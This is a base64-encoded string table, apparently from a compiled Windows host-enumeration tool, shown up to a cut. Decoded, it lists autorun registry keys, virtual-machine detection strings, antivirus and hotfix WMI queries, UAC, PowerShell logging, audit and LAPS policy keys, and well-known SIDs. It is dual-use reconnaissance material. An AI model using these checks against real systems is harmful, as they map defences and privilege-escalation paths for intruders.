ABlAG0AXABjAHUAcgByAGUAbgB0AGMAbwBuAHQAcgBvAGwAcwBlAHQAXABzAGUAcgB2AGkAYwBlAHMAAEVzAHkAcwB0AGUAbQBcAGMAdQByAHIAZQBuAHQAYwBvAG4AdAByAG8AbABzAGUAdABcAHMAZQByAHYAaQBjAGUAcwBcAABPSABLAEwATQBcAHMAeQBzAHQAZQBtAFwAYwB1AHIAcgBlAG4AdABjAG8AbgB0AHIAbwBsAHMAZQB0AFwAcwBlAHIAdgBpAGMAZQBzAFwAAFtTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAY1MATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAHNTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgAAe1MATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAE8AbgBjAGUAAGlTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABSAHUAbgBTAGUAcgB2AGkAYwBlAABxUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAACAgVMATwBGAFQAVwBBAFIARQBcAFcAbwB3ADYANAAzADIATgBvAGQAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuAFMAZQByAHYAaQBjAGUAAICJUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4ATwBuAGMAZQBTAGUAcgB2AGkAYwBlAAALSABLAEwATQBcAAB5UwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAUwBlAHMAcwBpAG8AbgAgAE0AYQBuAGEAZwBlAHIAXABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAAAlQAEEAVABIAAAZTQBhAG4AdQBmAGEAYwB0AHUAcgBlAHIAACttAGkAYwByAG8AcwBvAGYAdAAgAGMAbwByAHAAbwByAGEAdABpAG8AbgAAC00AbwBkAGUAbAAAD1YASQBSAFQAVQBBAEwAAA12AG0AdwBhAHIAZQAAFVYAaQByAHQAdQBhAGwAQgBvAHgAAFlTAG8AZgB0AHcAYQByAGUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABOAFQAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AABdQAHIAbwBkAHUAYwB0AE4AYQBtAGUAABNFAGQAaQB0AGkAbwBuAEkARAAAE1IAZQBsAGUAYQBzAGUASQBkAAAXQgB1AGkAbABkAEIAcgBhAG4AYwBoAAAzQwB1AHIAcgBlAG4AdABNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgBOAHUAbQBiAGUAcgAAHUMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgAALVAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAAF1TAEUATABFAEMAVAAgAEgAbwB0AEYAaQB4AEkARAAgAEYAUgBPAE0AIABXAGkAbgAzADIAXwBRAHUAaQBjAGsARgBpAHgARQBuAGcAaQBuAGUAZQByAGkAbgBnAAARSABvAHQARgBpAHgASQBEAAARSABvAHMAdABuAGEAbQBlAAAXRABvAG0AYQBpAG4AIABOAGEAbQBlAAAZQQByAGMAaABpAHQAZQBjAHQAdQByAGUAAB1QAHIAbwBjAGUAcwBzAG8AcgBDAG8AdQBuAHQAABVTAHkAcwB0AGUAbQBMAGEAbgBnAAAZSwBlAHkAYgBvAGEAcgBkAEwAYQBuAGcAABFUAGkAbQBlAFoAbwBuAGUAACFJAHMAVgBpAHIAdAB1AGEAbABNAGEAYwBoAGkAbgBlAAAZQwB1AHIAcgBlAG4AdAAgAFQAaQBtAGUAABtIAGkAZwBoAEkAbgB0AGUAZwByAGkAdAB5AAAZUABhAHIAdABPAGYARABvAG0AYQBpAG4AAClyAG8AbwB0AFwAUwBlAGMAdQByAGkAdAB5AEMAZQBuAHQAZQByADIAAD1TAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAQQBuAHQAaQBWAGkAcgB1AHMAUAByAG8AZAB1AGMAdAAAF2QAaQBzAHAAbABhAHkATgBhAG0AZQAAFVAAcgBvAGQAdQBjAHQARQBYAEUAAC1wAGEAdABoAFQAbwBTAGkAZwBuAGUAZABQAHIAbwBkAHUAYwB0AEUAeABlAAAxcABhAHQAaABUAG8AUwBpAGcAbgBlAGQAUgBlAHAAbwByAHQAaQBuAGcARQB4AGUAAHNTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABQAG8AbABpAGMAaQBlAHMAXABTAHkAcwB0AGUAbQAANUMAbwBuAHMAZQBuAHQAUAByAG8AbQBwAHQAQgBlAGgAYQB2AGkAbwByAEEAZABtAGkAbgAAJXsAMAB9ACAALQAgAE4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAAE3ewAwAH0AIAAtACAAUAByAG8AbQBwAHQATwBuAFMAZQBjAHUAcgBlAEQAZQBzAGsAdABvAHAAAUt7ADAAfQAgAC0AIABQAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFNewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABzAE4AbwB0AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAFXewAwAH0AIAAtACAAUAByAG8AbQBwAHQARgBvAHIAUABlAHIAbQBpAHQARABlAG4AeQBOAG8AdABPAG4AUwBlAGMAdQByAGUARABlAHMAawB0AG8AcAABQ3sAMAB9ACAALQAgAFAAcgBvAG0AcAB0AEYAbwByAE4AbwBuAFcAaQBuAGQAbwB3AHMAQgBpAG4AYQByAGkAZQBzAAErUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAgAFYAZQByAHMAaQBvAG4AAGFTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAAxAFwAUABvAHcAZQByAFMAaABlAGwAbABFAG4AZwBpAG4AZQAAI1AAbwB3AGUAcgBTAGgAZQBsAGwAVgBlAHIAcwBpAG8AbgAAK1AAbwB3AGUAcgBTAGgAZQBsAGwAIAB2ADUAIABWAGUAcgBzAGkAbwBuAABhUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAMwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwARQBuAGcAaQBuAGUAAC1UAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuACAAUwBlAHQAdABpAG4AZwBzAAAvTQBvAGQAdQBsAGUAIABMAG8AZwBnAGkAbgBnACAAUwBlAHQAdABpAG4AZwBzAAA5UwBjAHIAaQBwAHQAYgBsAG8AYwBrACAATABvAGcAZwBpAG4AZwAgAFMAZQB0AHQAaQBuAGcAcwAAeVMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFAAbwB3AGUAcgBTAGgAZQBsAGwAXABUAHIAYQBuAHMAYwByAGkAcAB0AGkAbwBuAACAm0gASwBMAE0AXABTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAVAByAGEAbgBzAGMAcgBpAHAAdABpAG8AbgAAISAAIAB7ADAALAAzADAAfQAgADoAIAB7ADEAfQANAAoAAHlTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgJFTAE8ARgBUAFcAQQBSAEUAXABXAG8AdwA2ADQAMwAyAE4AbwBkAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwATQBvAGQAdQBsAGUATABvAGcAZwBpAG4AZwAAgINTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAAICbUwBPAEYAVABXAEEAUgBFAFwAVwBvAHcANgA0ADMAMgBOAG8AZABlAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAUABvAHcAZQByAFMAaABlAGwAbABcAFMAYwByAGkAcAB0AEIAbABvAGMAawBMAG8AZwBnAGkAbgBnAAB/UwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUABvAGwAaQBjAGkAZQBzAFwAUwB5AHMAdABlAG0AXABBAHUAZABpAHQAABtTAHkAcwB0AGUAbQAuAFMAdAByAGkAbgBnAACAoVMAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEUAdgBlAG4AdABMAG8AZwBcAEUAdgBlAG4AdABGAG8AcgB3AGEAcgBkAGkAbgBnAFwAUwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4ATQBhAG4AYQBnAGUAcgAAV1MAbwBmAHQAdwBhAHIAZQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBkAG0AUAB3AGQAABtBAGQAbQBQAHcAZABFAG4AYQBiAGwAZQBkAAAZTABBAFAAUwAgAEUAbgBhAGIAbABlAGQAAC9MAEEAUABTACAAQQBkAG0AaQBuACAAQQBjAGMAbwB1AG4AdAAgAE4AYQBtAGUAACFBAGQAbQBpAG4AQQBjAGMAbwB1AG4AdABOAGEAbQBlAAAxTABBAFAAUwAgAFAAYQBzAHMAdwBvAHIAZAAgAEMAbwBtAHAAbABlAHgAaQB0AHkAACVQAGEAcwBzAHcAbwByAGQAQwBvAG0AcABsAGUAeABpAHQAeQAAKUwAQQBQAFMAIABQAGEAcwBzAHcAbwByAGQAIABMAGUAbgBnAHQAaAAAHVAAYQBzAHMAdwBvAHIAZABMAGUAbgBnAHQAaAAARUwAQQBQAFMAIABFAHgAcABpAHIAYQB0AGkAbwBuACAAUAByAG8AdABlAGMAdABpAG8AbgAgAEUAbgBhAGIAbABlAGQAAD1QAHcAZABFAHgAcABpAHIAYQB0AGkAbwBuAFAAcgBvAHQAZQBjAHQAaQBvAG4ARQBuAGEAYgBsAGUAZAAAd1MAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEkAbgB0AGUAcgBuAGUAdAAgAFMAZQB0AHQAaQBuAGcAcwAAE2QAbwBtAGEAaQBuAFMAaQBkAAANZABvAG0AYQBpAG4AAA9MAG8AYwBrAG8AdQB0AAALQQBkAG0AaQBuAAAPQwBhAHAAdABpAG8AbgAAFSgARABpAHMAYQBiAGwAZQBkACkAABMoAEwAbwBjAGsAbwB1AHQAKQAAEUYAdQBsAGwAbgBhAG0AZQAAC2YAYQBsAHMAZQAAKQoAIAAgACAAIAAgACAAIAAgAHwALQA+AEcAcgBvAHUAcABzADoAIAABLQoAIAAgACAAIAAgACAAIAAgAHwALQA+AFAAYQBzAHMAdwBvAHIAZAA6ACAAASVQAGEAcwBzAHcAbwByAGQAQwBoAGEAbgBnAGUAYQBiAGwAZQAAE04AbwB0AEMAaABhAG4AZwBlAAATQwBhAG4AQwBoAGEAbgBnAGUAAAMtAAEfUABhAHMAcwB3AG8AcgBkAEUAeABwAGkAcgBlAHMAAA9OAG8AdABFAHgAcABpAAAJRQB4AHAAaQAAIVAAYQBzAHMAdwBvAHIAZABSAGUAcQB1AGkAcgBlAGQAAA1OAG8AdABSAGUAcQAAB1IAZQBxAABPIAAgAFsALQBdACAAQwBvAG4AdAByAG8AbABsAGUAZAAgAGUAeABjAGUAcAB0AGkAbwBuACwAIABpAG4AZgBvACAAYQBiAG8AdQB0ACAAARUgAG4AbwB0ACAAZgBvAHUAbgBkAAALUwAtADEALQAwAAEdTgB1AGwAbAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAwAC0AMAABDU4AbwBiAG8AZAB5AAALUwAtADEALQAxAAEfVwBvAHIAbABkACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADEALQAwAAERRQB2AGUAcgB5AG8AbgBlAAALUwAtADEALQAyAAEfTABvAGMAYQBsACAAQQB1AHQAaABvAHIAaQB0AHkAAA9TAC0AMQAtADIALQAwAAELUwAtADEALQAzAAEjQwByAGUAYQB0AG8AcgAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQAzAC0AMAABG0MAcgBlAGEAdABvAHIAIABPAHcAbgBlAHIAAA9TAC0AMQAtADMALQAxAAEbQwByAGUAYQB0AG8AcgAgAEcAcgBvAHUAcAAAD1MALQAxAC0AMwAtADQAARlPAHcAbgBlAHIAIABSAGkAZwBoAHQAcwAAC1MALQAxAC0ANAABKU4AbwBuAC0AdQBuAGkAcQB1AGUAIABBAHUAdABoAG8AcgBpAHQAeQABGU4AVAAgAEEAdQB0AGgAbwByAGkAdAB5AAAPUwAtADEALQA1AC0AMQABDUQAaQBhAGwAdQBwAAAPUwAtADEALQA1AC0AMgABD04AZQB0AHcAbwByAGsAAA9TAC0AMQAtADUALQAzAAELQgBhAHQAYwBoAAAPUwAtADEALQA1AC0ANAABF0kAbgB0AGUAcgBhAGMAdABpAHYAZQAAG1MALQAxAC0ANQAtADUALQAuACsALQAuACsAARtMAG8AZwBvAG4AIABTAGUAcwBzAGkAbwBuAAAPUwAtADEALQA1AC0ANgABD1MAZQByAHYAaQBjAGUAAA9TAC0AMQAtADUALQA3AAETQQBuAG8AbgB5AG0AbwB1AHMAAA9TAC0AMQAtADUALQA5AAE7RQBuAHQAZQByAHAAcgBpAHMAZQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAARUwAtADEALQA1AC0AMQAwAAEdUAByAGkAbgBjAGkAcABhAGwAIABTAGUAbABmAAARUwAtADEALQA1AC0AMQAxAAEnQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAZAAgAFUAcwBlAHIAcwAAEVMALQAxAC0ANQAtADEAMgABH1IAZQBzAHQAcgBpAGMAdABlAGQAIABDAG8AZABlAAARUwAtADEALQA1AC0AMQAzAAErVABlAHIAbQBpAG4AYQBsACAAUwBlAHIAdgBlAHIAIABVAHMAZQByAHMAABFTAC0AMQAtADUALQAxADQAATFSAGUAbQBvAHQAZQAgAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAEwAbwBnAG8AbgAAEVMALQAxAC0ANQAtADEANwABI1QAaABpAHMAIABPAHIAZwBhAG4AaQB6AGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADEAOAABGUwAbwBjAGEAbAAgAFMAeQBzAHQAZQBtAAARUwAtADEALQA1AC0AMQA5AAE1TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABMAG8AYwBhAGwAIABTAGUAcgB2AGkAYwBlAAARUwAtADEALQA1AC0AMgAwAAE5TgBUACAAQQB1AHQAaABvAHIAaQB0AHkAXABOAGUAdAB3AG8AcgBrACAAUwBlAHIAdgBpAGMAZQAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMAABHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMQABC0cAdQBlAHMAdAAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADAAMgABDUsAUgBCAFQARwBUAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQAyAAEbRABvAG0AYQBpAG4AIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAMwABGUQAbwBtAGEAaQBuACAAVQBzAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA0AAEbRABvAG0AYQBpAG4AIABHAHUAZQBzAHQAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANQABIUQAbwBtAGEAaQBuACAAQwBvAG0AcAB1AHQAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAxADYAASVEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEANwABH0MAZQByAHQAIABQAHUAYgBsAGkAcwBoAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMQA4AAEbUwBjAGgAZQBtAGEAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADEAOQABI0UAbgB0AGUAcgBwAHIAaQBzAGUAIABBAGQAbQBpAG4AcwAAHVMALQAxAC0ANQAtADIAMQAuACsALQA1ADIAMAABN0cAcgBvAHUAcAAgAFAAbwBsAGkAYwB5ACAAQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA1AAEfUAByAG8AdABlAGMAdABlAGQAIABVAHMAZQByAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADYAARVLAGUAeQAgAEEAZABtAGkAbgBzAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADUAMgA3AAErRQBuAHQAZQByAHAAcgBpAHMAZQAgAEsAZQB5ACAAQQBkAG0AaQBuAHMAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA1ADMAASdSAEEAUwAgAGEAbgBkACAASQBBAFMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADQAAR1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANQABGVMALQAxAC0ANQAtADMAMgAtADUANAA2AAENRwB1AGUAcwB0AHMAABlTAC0AMQAtADUALQAzADIALQA1ADQANwABF1AAbwB3AGUAcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANAA4AAEjQQBjAGMAbwB1AG4AdAAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA0ADkAASFTAGUAcgB2AGUAcgAgAE8AcABlAHIAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADAAAR9QAHIAaQBuAHQAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQAxAAEhQgBhAGMAawB1AHAAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQAyAAEXUgBlAHAAbABpAGMAYQB0AG8AcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA4ADIAAT1TAHQAbwByAGEAZwBlACAAUgBlAHAAbABpAGMAYQAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAAF1MALQAxAC0ANQAtADYANAAtADEAMAABJ04AVABMAE0AIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAxADQAAS9TAEMAaABhAG4AbgBlAGwAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AABdTAC0AMQAtADUALQA2ADQALQAyADEAAStEAGkAZwBlAHMAdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAAEVMALQAxAC0ANQAtADgAMAABFU4AVAAgAFMAZQByAHYAaQBjAGUAAA9TAC0AMQAtADMALQAyAAEpQwByAGUAYQB0AG8AcgAgAE8AdwBuAGUAcgAgAFMAZQByAHYAZQByAAAPUwAtADEALQAzAC0AMwABKUMAcgBlAGEAdABvAHIAIABHAHIAbwB1AHAAIABTAGUAcgB2AGUAcgAAD1MALQAxAC0ANQAtADgAAQtQAHIAbwB4AHkAABFTAC0AMQAtADUALQAxADUAARlTAC0AMQAtADUALQAzADIALQA1ADUANAABVUIAdQBpAGwAdABpAG4AXABQAHIAZQAtAFcAaQBuAGQAbwB3AHMAIAAyADAAMAAwACAAQwBvAG0AcABhAHQAaQBiAGwAZQAgAEEAYwBjAGUAcwBzAAEZUwAtADEALQA1AC0AMwAyAC0ANQA1ADUAATlCAHUAaQBsAHQAaQBuAFwAUgBlAG0AbwB0AGUAIABEAGUAcwBrAHQAbwBwACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADYAAU9CAHUAaQBsAHQAaQBuAFwATgBlAHQAdwBvAHIAawAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA3AAFNQgB1AGkAbAB0AGkAbgBcAEkAbgBjAG8AbQBpAG4AZwAgAEYAbwByAGUAcwB0ACAAVAByAHUAcwB0ACAAQgB1AGkAbABkAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA1ADgAAUNCAHUAaQBsAHQAaQBuAFwAUABlAHIAZgBvAHIAbQBhAG4AYwBlACAATQBvAG4AaQB0AG8AcgAgAFUAcwBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANQA5AAE7QgB1AGkAbAB0AGkAbgBcAFAAZQByAGYAbwByAG0AYQBuAGMAZQAgAEwAbwBnACAAVQBzAGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA2ADAAAVVCAHUAaQBsAHQAaQBuAFwAVwBpAG4AZABvAHcAcwAgAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIABBAGMAYwBlAHMAcwAgAEcAcgBvAHUAcAAAGVMALQAxAC0ANQAtADMAMgAtADUANgAxAAFPQgB1AGkAbAB0AGkAbgBcAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAATABpAGMAZQBuAHMAZQAgAFMAZQByAHYAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADYAMgABO0IAdQBpAGwAdABpAG4AXABEAGkAcwB0AHIAaQBiAHUAdABlAGQAIABDAE8ATQAgAFUAcwBlAHIAcwAAD1MALQAxAC0AMgAtADEAARtDAG8AbgBzAG8AbABlACAATABvAGcAbwBuAAAdUwAtADEALQA1AC0AMgAxAC4AKwAtADQAOQA4AAFPRQBuAHQAZQByAHAAcgBpAHMAZQAgAFIAZQBhAGQALQBvAG4AbAB5ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAAR1TAC0AMQAtADUALQAyADEALgArAC0ANQAyADEAATlSAGUAYQBkAC0AbwBuAGwAeQAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgBzAAEdUwAtADEALQA1AC0AMgAxAC4AKwAtADUANwAxAAFPQQBsAGwAbwB3AGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAAB1TAC0AMQAtADUALQAyADEALgArAC0ANQA3ADIAAU1EAGUAbgBpAGUAZAAgAFIATwBEAEMAIABQAGEAcwBzAHcAbwByAGQAIABSAGUAcABsAGkAYwBhAHQAaQBvAG4AIABHAHIAbwB1AHAAABlTAC0AMQAtADUALQAzADIALQA1ADYAOQABQQkAQgB1AGkAbAB0AGkAbgBcAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABPAHAAZQByAGEAdABvAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwAzAAEzQgB1AGkAbAB0AGkAbgBcAEUAdgBlAG4AdAAgAEwAbwBnACAAUgBlAGEAZABlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA0AAFPQgB1AGkAbAB0AGkAbgBcAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgAFMAZQByAHYAaQBjAGUAIABEAEMATwBNACAAQQBjAGMAZQBzAHMAABVTAC0AMQAtADUALQA4ADAALQAwAAExTgBUACAAUwBlAHIAdgBpAGMAZQBzAFwAQQBsAGwAIABTAGUAcgB2AGkAYwBlAHMAABVTAC0AMQAtADUALQA4ADMALQAwAAFHTgBUACAAVgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUAXABWAGkAcgB0AHUAYQBsACAATQBhAGMAaABpAG4AZQBzAAAVUwAtADEALQA1AC0AOQAwAC0AMAABS1cAaQBuAGQAbwB3AHMAIABNAGEAbgBhAGcAZQByAFwAVwBpAG4AZABvAHcAcwAgAE0AYQBuAGEAZwBlAHIAIABHAHIAbwB1AHAAABFTAC0AMQAtADEANgAtADAAATNVAG4AdAByAHUAcwB0AGUAZAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAXUwAtADEALQAxADYALQA0ADAAOQA2AAEnTABvAHcAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAF1MALQAxAC0AMQA2AC0AOAAxADkAMgABLU0AZQBkAGkAdQBtACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAABdTAC0AMQAtADEANgAtADgANAA0ADgAATdNAGUAZABpAHUAbQAgAFAAbAB1AHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMQAyADIAOAA4AAEpSABpAGcAaAAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAxADYAMwA4ADQAAS1TAHkAcwB0AGUAbQAgAE0AYQBuAGQAYQB0AG8AcgB5ACAATABlAHYAZQBsAAAZUwAtADEALQAxADYALQAyADAANAA4ADAAAUNQAHIAbwB0AGUAYwB0AGUAZAAgAFAAcgBvAGMAZQBzAHMAIABNAGEAbgBkAGEAdABvAHIAeQAgAEwAZQB2AGUAbAAAGVMALQAxAC0AMQA2AC0AMgA4ADYANwAyAAE9UwBlAGMAdQByAGUAIABQAHIAbwBjAGUAcwBzACAATQBhAG4AZABhAHQAbwByAHkAIABMAGUAdgBlAGwAAB9TAC0AMQAtADUALQAyADEALQAuACsALQA1ADIAMgABOUMAbABvAG4AZQBhAGIAbABlACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByAHMAABlTAC0AMQAtADUALQAzADIALQA1ADcANQABQ0IAdQBpAGwAdABpAG4AXABSAEQAUwAgAFIAZQBtAG8AdABlACAAQQBjAGMAZQBzAHMAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADYAATlCAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABFAG4AZABwAG8AaQBuAHQAIABTAGUAcgB2AGUAcgBzAAAZUwAtADEALQA1AC0AMwAyAC0ANQA3ADcAAT1CAHUAaQBsAHQAaQBuAFwAUgBEAFMAIABNAGEAbgBhAGcAZQBtAGUAbgB0ACAAUwBlAHIAdgBlAHIAcwAAGVMALQAxAC0ANQAtADMAMgAtADUANwA4AAE9QgB1AGkAbAB0AGkAbgBcAEgAeQBwAGUAcgAtAFYAIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAARlTAC0AMQAtADUALQAzADIALQA1ADcAOQABV0IAdQBpAGwAdABpAG4AXABBAGMAYwBlAHMAcwAgAEM